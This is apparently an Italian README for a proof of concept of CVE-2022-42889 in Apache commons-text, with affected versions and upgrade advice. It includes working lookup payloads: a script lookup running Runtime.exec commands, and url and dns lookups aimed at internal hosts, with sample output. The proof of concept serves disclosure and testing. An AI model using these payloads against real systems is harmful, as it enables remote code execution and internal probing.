
Prova di concetto per la vulnerabilità CVE-2022-42889 di Apache commons-text.
Questa è una Proof of Concept per la vulnerabilità CVE-2022-42889. Questo codice eseguirà il codice JavaScript 195 + 324. Se vulnerabile, l'output dovrebbe essere:
PoC Output: 519
Per eseguirlo avrai bisogno di:
Quando viene richiesta una stringa di exploit, puoi fornire la tua stringa di exploit (e premere Invio per inserire la stringa), oppure semplicemente premere Invio per usare la stringa di exploit predefinita ${script:javascript:195 + 324}.
In alternativa puoi usare Docker per eseguire questa PoC:
docker build -t poc .
docker run -it poc
Il problema deriva dal fatto che le seguenti chiavi non dovrebbero essere interpolate di default (come da documentazione https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html):
scriptdnsurlQuesta lookup consente di eseguire il codice JavaScript fornito. Il risultato è la capacità per un attaccante di eseguire codice arbitrario sul sistema.
${script:<engine>:<code>}
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}
Esempio nella PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================
Questa lookup chiama l'url specificato. Un attaccante potrebbe sfruttarla per effettuare richieste GET di base verso risorse interne.
${url:<character-encoding>:<url>}
${url:UTF-8::https://internal-jenkins.companyx.net/}
Esempio nella PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================
Questa lookup esegue una query DNS o una reverse lookup. Questo potrebbe permettere a un attaccante di identificare risorse interne.
${dns:<address,canonical-name,name>|<host>}
${dns:address|internal-jenkins.companyx.net}
Esempio nella PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${dns:address|www.google.com}
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================
Tuttavia, a causa di un difetto nella logica, queste 3 chiavi vengono interpolate di default, quando non dovrebbero esserlo (poiché potrebbero rappresentare un rischio per la sicurezza).
Un attaccante con il controllo della stringa passata a una sostituzione StringSubstitutor vulnerabile potrebbe consentire all'attaccante di:
StringSubstitutorAffinché il tuo codice sia vulnerabile devi:
Utilizzare una versione di Apache commons-text dalla versione 1.5.0 fino alla (ma non inclusa) 1.10.0
Utilizzare l'interpolazione per la tua StringSubstitution (vedi https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)
Nota che in JDK 15 e successivi il motore JavaScript Nashorn non è più incluso. Tuttavia, il motore JEXL è ancora incluso e di conseguenza la RCE potrebbe essere ancora possibile.
(grazie a rgmz per averlo evidenziato)
La soluzione è aggiornare le tue istanze di commons-text alle versioni 1.10.0 o successive.
Le altre lookup predefinite potrebbero comunque rappresentare un rischio per la sicurezza (come la capacità di leggere il contenuto di file, leggere le proprietà di sistema, ecc.). Usa questa funzionalità con cautela e assicurati che tutto l'input utente sia adeguatamente sanificato (ad esempio facendolo passare attraverso una lista consentita).